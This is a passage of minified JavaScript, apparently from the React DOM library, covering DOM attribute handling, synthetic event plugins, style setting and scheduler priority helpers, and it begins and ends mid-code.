o=vt.hasOwnProperty(t)?vt[t]:null;(null!==o?0===o.type:!r&&(2<t.length&&("o"===t[0]||"O"===t[0])&&("n"===t[1]||"N"===t[1])))||(function(e,t,n,r){if(null===t||"undefined"===typeof t||function(e,t,n,r){if(null!==n&&0===n.type)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return!r&&(null!==n?!n.acceptsBooleans:"data-"!==(e=e.toLowerCase().slice(0,5))&&"aria-"!==e);default:return!1}}(e,t,n,r))return!0;if(r)return!1;if(null!==n)switch(n.type){case 3:return!t;case 4:return!1===t;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}(t,n,o,r)&&(n=null),r||null===o?function(e){return!!pt.call(mt,e)||!pt.call(ht,e)&&(dt.test(e)?mt[e]=!0:(ht[e]=!0,!1))}(t)&&(null===n?e.removeAttribute(t):e.setAttribute(t,""+n)):o.mustUseProperty?e[o.propertyName]=null===n?3!==o.type&&"":n:(t=o.attributeName,r=o.attributeNamespace,null===n?e.removeAttribute(t):(n=3===(o=o.type)||4===o&&!0===n?"":""+n,r?e.setAttributeNS(r,t,n):e.setAttribute(t,n))))}function Et(e){switch(typeof e){case"boolean":case"number":case"object":case"string":case"undefined":return e;default:return""}}function xt(e,t){var n=t.checked;return o({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:null!=n?n:e._wrapperState.initialChecked})}function St(e,t){var n=null==t.defaultValue?"":t.defaultValue,r=null!=t.checked?t.checked:t.defaultChecked;n=Et(null!=t.value?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:"checkbox"===t.type||"radio"===t.type?null!=t.checked:null!=t.value}}function Tt(e,t){null!=(t=t.checked)&&wt(e,"checked",t,!1)}function Ot(e,t){Tt(e,t);var n=Et(t.value),r=t.type;if(null!=n)"number"===r?(0===n&&""===e.value||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if("submit"===r||"reset"===r)return void e.removeAttribute("value");t.hasOwnProperty("value")?_t(e,t.type,n):t.hasOwnProperty("defaultValue")&&_t(e,t.type,Et(t.defaultValue)),null==t.checked&&null!=t.defaultChecked&&(e.defaultChecked=!!t.defaultChecked)}function kt(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!("submit"!==r&&"reset"!==r||void 0!==t.value&&null!==t.value))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}""!==(n=e.name)&&(e.name=""),e.defaultChecked=!e.defaultChecked,e.defaultChecked=!!e._wrapperState.initialChecked,""!==n&&(e.name=n)}function _t(e,t,n){"number"===t&&e.ownerDocument.activeElement===e||(null==n?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach((function(e){var t=e.replace(yt,bt);vt[t]=new gt(t,1,!1,e,null,!1)})),"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach((function(e){var t=e.replace(yt,bt);vt[t]=new gt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1)})),["xml:base","xml:lang","xml:space"].forEach((function(e){var t=e.replace(yt,bt);vt[t]=new gt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1)})),["tabIndex","crossOrigin"].forEach((function(e){vt[e]=new gt(e,1,!1,e.toLowerCase(),null,!1)})),vt.xlinkHref=new gt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0),["src","href","action","formAction"].forEach((function(e){vt[e]=new gt(e,1,!1,e.toLowerCase(),null,!0)}));var Pt={change:{phasedRegistrationNames:{bubbled:"onChange",captured:"onChangeCapture"},dependencies:"blur change click focus input keydown keyup selectionchange".split(" ")}};function Rt(e,t,n){return(e=se.getPooled(Pt.change,e,t,n)).type="change",Ne(n),Y(e),e}var Ct=null,Nt=null;function At(e){C(e)}function jt(e){if(Ye(z(e)))return e}function Dt(e,t){if("change"===e)return t}var Lt=!1;function It(){Ct&&(Ct.detachEvent("onpropertychange",Mt),Nt=Ct=null)}function Mt(e){if("value"===e.propertyName&&jt(Nt))if(e=Rt(Nt,e,Be(e)),Me)C(e);else{Me=!0;try{je(At,e)}finally{Me=!1,ze()}}}function zt(e,t,n){"focus"===e?(It(),Nt=n,(Ct=t).attachEvent("onpropertychange",Mt)):"blur"===e&&It()}function Ft(e){if("selectionchange"===e||"keyup"===e||"keydown"===e)return jt(Nt)}function Ut(e,t){if("click"===e)return jt(t)}function Bt(e,t){if("input"===e||"change"===e)return jt(t)}G&&(Lt=We("input")&&(!document.documentMode||9<document.documentMode));var Wt={eventTypes:Pt,_isInputEventSupported:Lt,extractEvents:function(e,t,n,r){var o=t?z(t):window,i=void 0,a=void 0,l=o.nodeName&&o.nodeName.toLowerCase();if("select"===l||"input"===l&&"file"===o.type?i=Dt:Ue(o)?Lt?i=Bt:(i=Ft,a=zt):(l=o.nodeName)&&"input"===l.toLowerCase()&&("checkbox"===o.type||"radio"===o.type)&&(i=Ut),i&&(i=i(e,t)))return Rt(i,n,r);a&&a(e,o,t),"blur"===e&&(e=o._wrapperState)&&e.controlled&&"number"===o.type&&_t(o,"number",o.value)}},Ht=se.extend({view:null,detail:null}),Vt={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function Yt(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):!!(e=Vt[e])&&!!t[e]}function Gt(){return Yt}var $t=0,Xt=0,Kt=!1,qt=!1,Qt=Ht.extend({screenX:null,screenY:null,clientX:null,clientY:null,pageX:null,pageY:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,getModifierState:Gt,button:null,buttons:null,relatedTarget:function(e){return e.relatedTarget||(e.fromElement===e.srcElement?e.toElement:e.fromElement)},movementX:function(e){if("movementX"in e)return e.movementX;var t=$t;return $t=e.screenX,Kt?"mousemove"===e.type?e.screenX-t:0:(Kt=!0,0)},movementY:function(e){if("movementY"in e)return e.movementY;var t=Xt;return Xt=e.screenY,qt?"mousemove"===e.type?e.screenY-t:0:(qt=!0,0)}}),Jt=Qt.extend({pointerId:null,width:null,height:null,pressure:null,tangentialPressure:null,tiltX:null,tiltY:null,twist:null,pointerType:null,isPrimary:null}),Zt={mouseEnter:{registrationName:"onMouseEnter",dependencies:["mouseout","mouseover"]},mouseLeave:{registrationName:"onMouseLeave",dependencies:["mouseout","mouseover"]},pointerEnter:{registrationName:"onPointerEnter",dependencies:["pointerout","pointerover"]},pointerLeave:{registrationName:"onPointerLeave",dependencies:["pointerout","pointerover"]}},en={eventTypes:Zt,extractEvents:function(e,t,n,r){var o="mouseover"===e||"pointerover"===e,i="mouseout"===e||"pointerout"===e;if(o&&(n.relatedTarget||n.fromElement)||!i&&!o)return null;if(o=r.window===r?r:(o=r.ownerDocument)?o.defaultView||o.parentWindow:window,i?(i=t,t=(t=n.relatedTarget||n.toElement)?I(t):null):i=null,i===t)return null;var a=void 0,l=void 0,u=void 0,s=void 0;"mouseout"===e||"mouseover"===e?(a=Qt,l=Zt.mouseLeave,u=Zt.mouseEnter,s="mouse"):"pointerout"!==e&&"pointerover"!==e||(a=Jt,l=Zt.pointerLeave,u=Zt.pointerEnter,s="pointer");var c=null==i?o:z(i);if(o=null==t?o:z(t),(e=a.getPooled(l,i,n,r)).type=s+"leave",e.target=c,e.relatedTarget=o,(n=a.getPooled(u,t,n,r)).type=s+"enter",n.target=o,n.relatedTarget=c,r=t,i&&r)e:{for(o=r,s=0,a=t=i;a;a=U(a))s++;for(a=0,u=o;u;u=U(u))a++;for(;0<s-a;)t=U(t),s--;for(;0<a-s;)o=U(o),a--;for(;s--;){if(t===o||t===o.alternate)break e;t=U(t),o=U(o)}t=null}else t=null;for(o=t,t=[];i&&i!==o&&(null===(s=i.alternate)||s!==o);)t.push(i),i=U(i);for(i=[];r&&r!==o&&(null===(s=r.alternate)||s!==o);)i.push(r),r=U(r);for(r=0;r<t.length;r++)H(t[r],"bubbled",e);for(r=i.length;0<r--;)H(i[r],"captured",n);return[e,n]}};function tn(e,t){return e===t&&(0!==e||1/e===1/t)||e!==e&&t!==t}var nn=Object.prototype.hasOwnProperty;function rn(e,t){if(tn(e,t))return!0;if("object"!==typeof e||null===e||"object"!==typeof t||null===t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++)if(!nn.call(t,n[r])||!tn(e[n[r]],t[n[r]]))return!1;return!0}function on(e,t){return{responder:e,props:t}}function an(e){var t=e;if(e.alternate)for(;t.return;)t=t.return;else{if(0!==(2&t.effectTag))return 1;for(;t.return;)if(0!==(2&(t=t.return).effectTag))return 1}return 3===t.tag?2:3}function ln(e){if(2!==an(e))throw a(Error(188))}function un(e){if(!(e=function(e){var t=e.alternate;if(!t){if(3===(t=an(e)))throw a(Error(188));return 1===t?null:e}for(var n=e,r=t;;){var o=n.return;if(null===o)break;var i=o.alternate;if(null===i){if(null!==(r=o.return)){n=r;continue}break}if(o.child===i.child){for(i=o.child;i;){if(i===n)return ln(o),e;if(i===r)return ln(o),t;i=i.sibling}throw a(Error(188))}if(n.return!==r.return)n=o,r=i;else{for(var l=!1,u=o.child;u;){if(u===n){l=!0,n=o,r=i;break}if(u===r){l=!0,r=o,n=i;break}u=u.sibling}if(!l){for(u=i.child;u;){if(u===n){l=!0,n=i,r=o;break}if(u===r){l=!0,r=i,n=o;break}u=u.sibling}if(!l)throw a(Error(189))}}if(n.alternate!==r)throw a(Error(190))}if(3!==n.tag)throw a(Error(188));return n.stateNode.current===n?e:t}(e)))return null;for(var t=e;;){if(5===t.tag||6===t.tag)return t;if(t.child)t.child.return=t,t=t.child;else{if(t===e)break;for(;!t.sibling;){if(!t.return||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}}return null}new Map,new Map,new Set,new Map;var sn=se.extend({animationName:null,elapsedTime:null,pseudoElement:null}),cn=se.extend({clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}}),fn=Ht.extend({relatedTarget:null});function dn(e){var t=e.keyCode;return"charCode"in e?0===(e=e.charCode)&&13===t&&(e=13):e=t,10===e&&(e=13),32<=e||13===e?e:0}for(var pn={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},hn={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},mn=Ht.extend({key:function(e){if(e.key){var t=pn[e.key]||e.key;if("Unidentified"!==t)return t}return"keypress"===e.type?13===(e=dn(e))?"Enter":String.fromCharCode(e):"keydown"===e.type||"keyup"===e.type?hn[e.keyCode]||"Unidentified":""},location:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,repeat:null,locale:null,getModifierState:Gt,charCode:function(e){return"keypress"===e.type?dn(e):0},keyCode:function(e){return"keydown"===e.type||"keyup"===e.type?e.keyCode:0},which:function(e){return"keypress"===e.type?dn(e):"keydown"===e.type||"keyup"===e.type?e.keyCode:0}}),gn=Qt.extend({dataTransfer:null}),vn=Ht.extend({touches:null,targetTouches:null,changedTouches:null,altKey:null,metaKey:null,ctrlKey:null,shiftKey:null,getModifierState:Gt}),yn=se.extend({propertyName:null,elapsedTime:null,pseudoElement:null}),bn=Qt.extend({deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:null,deltaMode:null}),wn=[["blur","blur",0],["cancel","cancel",0],["click","click",0],["close","close",0],["contextmenu","contextMenu",0],["copy","copy",0],["cut","cut",0],["auxclick","auxClick",0],["dblclick","doubleClick",0],["dragend","dragEnd",0],["dragstart","dragStart",0],["drop","drop",0],["focus","focus",0],["input","input",0],["invalid","invalid",0],["keydown","keyDown",0],["keypress","keyPress",0],["keyup","keyUp",0],["mousedown","mouseDown",0],["mouseup","mouseUp",0],["paste","paste",0],["pause","pause",0],["play","play",0],["pointercancel","pointerCancel",0],["pointerdown","pointerDown",0],["pointerup","pointerUp",0],["ratechange","rateChange",0],["reset","reset",0],["seeked","seeked",0],["submit","submit",0],["touchcancel","touchCancel",0],["touchend","touchEnd",0],["touchstart","touchStart",0],["volumechange","volumeChange",0],["drag","drag",1],["dragenter","dragEnter",1],["dragexit","dragExit",1],["dragleave","dragLeave",1],["dragover","dragOver",1],["mousemove","mouseMove",1],["mouseout","mouseOut",1],["mouseover","mouseOver",1],["pointermove","pointerMove",1],["pointerout","pointerOut",1],["pointerover","pointerOver",1],["scroll","scroll",1],["toggle","toggle",1],["touchmove","touchMove",1],["wheel","wheel",1],["abort","abort",2],[J,"animationEnd",2],[Z,"animationIteration",2],[ee,"animationStart",2],["canplay","canPlay",2],["canplaythrough","canPlayThrough",2],["durationchange","durationChange",2],["emptied","emptied",2],["encrypted","encrypted",2],["ended","ended",2],["error","error",2],["gotpointercapture","gotPointerCapture",2],["load","load",2],["loadeddata","loadedData",2],["loadedmetadata","loadedMetadata",2],["loadstart","loadStart",2],["lostpointercapture","lostPointerCapture",2],["playing","playing",2],["progress","progress",2],["seeking","seeking",2],["stalled","stalled",2],["suspend","suspend",2],["timeupdate","timeUpdate",2],[te,"transitionEnd",2],["waiting","waiting",2]],En={},xn={},Sn=0;Sn<wn.length;Sn++){var Tn=wn[Sn],On=Tn[0],kn=Tn[1],_n=Tn[2],Pn="on"+(kn[0].toUpperCase()+kn.slice(1)),Rn={phasedRegistrationNames:{bubbled:Pn,captured:Pn+"Capture"},dependencies:[On],eventPriority:_n};En[kn]=Rn,xn[On]=Rn}var Cn={eventTypes:En,getEventPriority:function(e){return void 0!==(e=xn[e])?e.eventPriority:2},extractEvents:function(e,t,n,r){var o=xn[e];if(!o)return null;switch(e){case"keypress":if(0===dn(n))return null;case"keydown":case"keyup":e=mn;break;case"blur":case"focus":e=fn;break;case"click":if(2===n.button)return null;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":e=Qt;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":e=gn;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":e=vn;break;case J:case Z:case ee:e=sn;break;case te:e=yn;break;case"scroll":e=Ht;break;case"wheel":e=bn;break;case"copy":case"cut":case"paste":e=cn;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":e=Jt;break;default:e=se}return Y(t=e.getPooled(o,t,n,r)),t}},Nn=Cn.getEventPriority,An=[];function jn(e){var t=e.targetInst,n=t;do{if(!n){e.ancestors.push(n);break}var r;for(r=n;r.return;)r=r.return;if(!(r=3!==r.tag?null:r.stateNode.containerInfo))break;e.ancestors.push(n),n=I(r)}while(n);for(n=0;n<e.ancestors.length;n++){t=e.ancestors[n];var o=Be(e.nativeEvent);r=e.topLevelType;for(var i=e.nativeEvent,a=null,l=0;l<f.length;l++){var u=f[l];u&&(u=u.extractEvents(r,t,i,o))&&(a=k(a,u))}C(a)}}var Dn=!0;function Ln(e,t){In(t,e,!1)}function In(e,t,n){switch(Nn(t)){case 0:var r=Mn.bind(null,t,1);break;case 1:r=zn.bind(null,t,1);break;default:r=Fn.bind(null,t,1)}n?e.addEventListener(t,r,!0):e.addEventListener(t,r,!1)}function Mn(e,t,n){Me||Le();var r=Fn,o=Me;Me=!0;try{De(r,e,t,n)}finally{(Me=o)||ze()}}function zn(e,t,n){Fn(e,t,n)}function Fn(e,t,n){if(Dn){if(null===(t=I(t=Be(n)))||"number"!==typeof t.tag||2===an(t)||(t=null),An.length){var r=An.pop();r.topLevelType=e,r.nativeEvent=n,r.targetInst=t,e=r}else e={topLevelType:e,nativeEvent:n,targetInst:t,ancestors:[]};try{if(n=e,Me)jn(n);else{Me=!0;try{Ie(jn,n,void 0)}finally{Me=!1,ze()}}}finally{e.topLevelType=null,e.nativeEvent=null,e.targetInst=null,e.ancestors.length=0,10>An.length&&An.push(e)}}}var Un=new("function"===typeof WeakMap?WeakMap:Map);function Bn(e){var t=Un.get(e);return void 0===t&&(t=new Set,Un.set(e,t)),t}function Wn(e){if("undefined"===typeof(e=e||("undefined"!==typeof document?document:void 0)))return null;try{return e.activeElement||e.body}catch(t){return e.body}}function Hn(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function Vn(e,t){var n,r=Hn(e);for(e=0;r;){if(3===r.nodeType){if(n=e+r.textContent.length,e<=t&&n>=t)return{node:r,offset:t-e};e=n}e:{for(;r;){if(r.nextSibling){r=r.nextSibling;break e}r=r.parentNode}r=void 0}r=Hn(r)}}function Yn(){for(var e=window,t=Wn();t instanceof e.HTMLIFrameElement;){try{var n="string"===typeof t.contentWindow.location.href}catch(r){n=!1}if(!n)break;t=Wn((e=t.contentWindow).document)}return t}function Gn(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&("input"===t&&("text"===e.type||"search"===e.type||"tel"===e.type||"url"===e.type||"password"===e.type)||"textarea"===t||"true"===e.contentEditable)}var $n=G&&"documentMode"in document&&11>=document.documentMode,Xn={select:{phasedRegistrationNames:{bubbled:"onSelect",captured:"onSelectCapture"},dependencies:"blur contextmenu dragend focus keydown keyup mousedown mouseup selectionchange".split(" ")}},Kn=null,qn=null,Qn=null,Jn=!1;function Zn(e,t){var n=t.window===t?t.document:9===t.nodeType?t:t.ownerDocument;return Jn||null==Kn||Kn!==Wn(n)?null:("selectionStart"in(n=Kn)&&Gn(n)?n={start:n.selectionStart,end:n.selectionEnd}:n={anchorNode:(n=(n.ownerDocument&&n.ownerDocument.defaultView||window).getSelection()).anchorNode,anchorOffset:n.anchorOffset,focusNode:n.focusNode,focusOffset:n.focusOffset},Qn&&rn(Qn,n)?null:(Qn=n,(e=se.getPooled(Xn.select,qn,e,t)).type="select",e.target=Kn,Y(e),e))}var er={eventTypes:Xn,extractEvents:function(e,t,n,r){var o,i=r.window===r?r.document:9===r.nodeType?r:r.ownerDocument;if(!(o=!i)){e:{i=Bn(i),o=h.onSelect;for(var a=0;a<o.length;a++)if(!i.has(o[a])){i=!1;break e}i=!0}o=!i}if(o)return null;switch(i=t?z(t):window,e){case"focus":(Ue(i)||"true"===i.contentEditable)&&(Kn=i,qn=t,Qn=null);break;case"blur":Qn=qn=Kn=null;break;case"mousedown":Jn=!0;break;case"contextmenu":case"mouseup":case"dragend":return Jn=!1,Zn(n,r);case"selectionchange":if($n)break;case"keydown":case"keyup":return Zn(n,r)}return null}};function tr(e,t){return e=o({children:void 0},t),(t=function(e){var t="";return r.Children.forEach(e,(function(e){null!=e&&(t+=e)})),t}(t.children))&&(e.children=t),e}function nr(e,t,n,r){if(e=e.options,t){t={};for(var o=0;o<n.length;o++)t["$"+n[o]]=!0;for(n=0;n<e.length;n++)o=t.hasOwnProperty("$"+e[n].value),e[n].selected!==o&&(e[n].selected=o),o&&r&&(e[n].defaultSelected=!0)}else{for(n=""+Et(n),t=null,o=0;o<e.length;o++){if(e[o].value===n)return e[o].selected=!0,void(r&&(e[o].defaultSelected=!0));null!==t||e[o].disabled||(t=e[o])}null!==t&&(t.selected=!0)}}function rr(e,t){if(null!=t.dangerouslySetInnerHTML)throw a(Error(91));return o({},t,{value:void 0,defaultValue:void 0,children:""+e._wrapperState.initialValue})}function or(e,t){var n=t.value;if(null==n){if(n=t.defaultValue,null!=(t=t.children)){if(null!=n)throw a(Error(92));if(Array.isArray(t)){if(!(1>=t.length))throw a(Error(93));t=t[0]}n=t}null==n&&(n="")}e._wrapperState={initialValue:Et(n)}}function ir(e,t){var n=Et(t.value),r=Et(t.defaultValue);null!=n&&((n=""+n)!==e.value&&(e.value=n),null==t.defaultValue&&e.defaultValue!==n&&(e.defaultValue=n)),null!=r&&(e.defaultValue=""+r)}function ar(e){var t=e.textContent;t===e._wrapperState.initialValue&&(e.value=t)}N.injectEventPluginOrder("ResponderEventPlugin SimpleEventPlugin EnterLeaveEventPlugin ChangeEventPlugin SelectEventPlugin BeforeInputEventPlugin".split(" ")),x=F,S=M,T=z,N.injectEventPluginsByName({SimpleEventPlugin:Cn,EnterLeaveEventPlugin:en,ChangeEventPlugin:Wt,SelectEventPlugin:er,BeforeInputEventPlugin:ke});var lr="http://www.w3.org/1999/xhtml",ur="http://www.w3.org/2000/svg";function sr(e){switch(e){case"svg":return"http://www.w3.org/2000/svg";case"math":return"http://www.w3.org/1998/Math/MathML";default:return"http://www.w3.org/1999/xhtml"}}function cr(e,t){return null==e||"http://www.w3.org/1999/xhtml"===e?sr(t):"http://www.w3.org/2000/svg"===e&&"foreignObject"===t?"http://www.w3.org/1999/xhtml":e}var fr=void 0,dr=function(e){return"undefined"!==typeof MSApp&&MSApp.execUnsafeLocalFunction?function(t,n,r,o){MSApp.execUnsafeLocalFunction((function(){return e(t,n)}))}:e}((function(e,t){if(e.namespaceURI!==ur||"innerHTML"in e)e.innerHTML=t;else{for((fr=fr||document.createElement("div")).innerHTML="<svg>"+t+"</svg>",t=fr.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}}));function pr(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&3===n.nodeType)return void(n.nodeValue=t)}e.textContent=t}var hr={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},mr=["Webkit","ms","Moz","O"];function gr(e,t,n){return null==t||"boolean"===typeof t||""===t?"":n||"number"!==typeof t||0===t||hr.hasOwnProperty(e)&&hr[e]?(""+t).trim():t+"px"}function vr(e,t){for(var n in e=e.style,t)if(t.hasOwnProperty(n)){var r=0===n.indexOf("--"),o=gr(n,t[n],r);"float"===n&&(n="cssFloat"),r?e.setProperty(n,o):e[n]=o}}Object.keys(hr).forEach((function(e){mr.forEach((function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),hr[t]=hr[e]}))}));var yr=o({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function br(e,t){if(t){if(yr[e]&&(null!=t.children||null!=t.dangerouslySetInnerHTML))throw a(Error(137),e,"");if(null!=t.dangerouslySetInnerHTML){if(null!=t.children)throw a(Error(60));if(!("object"===typeof t.dangerouslySetInnerHTML&&"__html"in t.dangerouslySetInnerHTML))throw a(Error(61))}if(null!=t.style&&"object"!==typeof t.style)throw a(Error(62),"")}}function wr(e,t){if(-1===e.indexOf("-"))return"string"===typeof t.is;switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}function Er(e,t){var n=Bn(e=9===e.nodeType||11===e.nodeType?e:e.ownerDocument);t=h[t];for(var r=0;r<t.length;r++){var o=t[r];if(!n.has(o)){switch(o){case"scroll":In(e,"scroll",!0);break;case"focus":case"blur":In(e,"focus",!0),In(e,"blur",!0),n.add("blur"),n.add("focus");break;case"cancel":case"close":We(o)&&In(e,o,!0);break;case"invalid":case"submit":case"reset":break;default:-1===ne.indexOf(o)&&Ln(o,e)}n.add(o)}}}function xr(){}var Sr=null,Tr=null;function Or(e,t){switch(e){case"button":case"input":case"select":case"textarea":return!!t.autoFocus}return!1}function kr(e,t){return"textarea"===e||"option"===e||"noscript"===e||"string"===typeof t.children||"number"===typeof t.children||"object"===typeof t.dangerouslySetInnerHTML&&null!==t.dangerouslySetInnerHTML&&null!=t.dangerouslySetInnerHTML.__html}var _r="function"===typeof setTimeout?setTimeout:void 0,Pr="function"===typeof clearTimeout?clearTimeout:void 0;function Rr(e){for(;null!=e;e=e.nextSibling){var t=e.nodeType;if(1===t||3===t)break}return e}new Set;var Cr=[],Nr=-1;function Ar(e){0>Nr||(e.current=Cr[Nr],Cr[Nr]=null,Nr--)}function jr(e,t){Nr++,Cr[Nr]=e.current,e.current=t}var Dr={},Lr={current:Dr},Ir={current:!1},Mr=Dr;function zr(e,t){var n=e.type.contextTypes;if(!n)return Dr;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var o,i={};for(o in n)i[o]=t[o];return r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Fr(e){return null!==(e=e.childContextTypes)&&void 0!==e}function Ur(e){Ar(Ir),Ar(Lr)}function Br(e){Ar(Ir),Ar(Lr)}function Wr(e,t,n){if(Lr.current!==Dr)throw a(Error(168));jr(Lr,t),jr(Ir,n)}function Hr(e,t,n){var r=e.stateNode;if(e=t.childContextTypes,"function"!==typeof r.getChildContext)return n;for(var i in r=r.getChildContext())if(!(i in e))throw a(Error(108),ct(t)||"Unknown",i);return o({},n,r)}function Vr(e){var t=e.stateNode;return t=t&&t.__reactInternalMemoizedMergedChildContext||Dr,Mr=Lr.current,jr(Lr,t),jr(Ir,Ir.current),!0}function Yr(e,t,n){var r=e.stateNode;if(!r)throw a(Error(169));n?(t=Hr(e,t,Mr),r.__reactInternalMemoizedMergedChildContext=t,Ar(Ir),Ar(Lr),jr(Lr,t)):Ar(Ir),jr(Ir,n)}var Gr=i.unstable_runWithPriority,$r=i.unstable_scheduleCallback,Xr=i.unstable_cancelCallback,Kr=i.unstable_shouldYield,qr=i.unstable_requestPaint,Qr=i.unstable_now,Jr=i.unstable_getCurrentPriorityLevel,Zr=i.unstable_ImmediatePriority,eo=i.unstable_UserBlockingPriority,to=i.unstable_NormalPriority,no=i.unstable_LowPriority,ro=i.unstable_IdlePriority,oo={},io=void 0!==qr?qr:function(){},ao=null,lo=null,uo=!1,so=Qr(),co=1e4>so?Qr:function(){return Qr()-so};function fo(){switch(Jr()){case Zr:return 99;case eo:return 98;case to:return 97;case no:return 96;case ro:return 95;default:throw a(Error(332))}}function po(e){switch(e){case 99:return Zr;case 98:return eo;case 97:return to;case 96:return no;case 95:return ro;default:throw a(Error(332))}}function ho(e,t){return e=po(e),Gr(e,t)}function mo(e,t,n){return e=po(e),$r(e,t,n)}function go(e){return null===ao?(ao=[e],lo=$r(Zr,yo)):ao.push(e),oo}function vo(){null!==lo&&Xr(lo),yo()}function yo(){if(!uo&&null!==ao){uo=!0;var e=0;try{var t=ao;ho(99,(function(){for(;e<t.length;e++){var n=t[e];do{n=n(!0)}while(null!==n)}})),ao=null}catch(n){throw null!==ao&&(ao=ao.slice(e+1)),$r(Zr,vo),n}finally{uo=!1}}}function bo(e,t){return 1073741823===t?99:1===t?95:0>=(e=10*(1073741821-t)-10*(1073741821-e))?99:250>=e?98:5250>=e?97:95}function wo(e,t){if(e&&e.defaultProps)for(var n in t=o({},t),e=e.defaultProps)void 0===t[n]&&(t[n]=e[n]);return t}var Eo={current:null},xo=null,So=null,To=null;function Oo(){To=So=xo=null}function ko(e,t){var n=e.type._context;jr(Eo,n._currentValue),n._currentValue=t}function _o(e){var t=Eo.current;Ar(Eo),e.type._context._currentValue=t}function Po(e,t){for(;null!==e;){var n=e.alternate;if(e.childExpirationTime<t)e.childExpirationTime=t,null!==n&&n.childExpirationTime<t&&(n.childExpirationTime=t);else{if(!(null!==n&&n.childExpirationTime<t))break;n.childExpirationTime=t}e=e.return}}function Ro(e,t){xo=e,To=So=null,null!==(e=e.dependencies)&&null!==e.firstContext&&(e.expirationTime>=t&&(ta=!0),e.firstContext=null)}function Co(e,t){if(To!==e&&!1!==t&&0!==t)if("number"===typeof 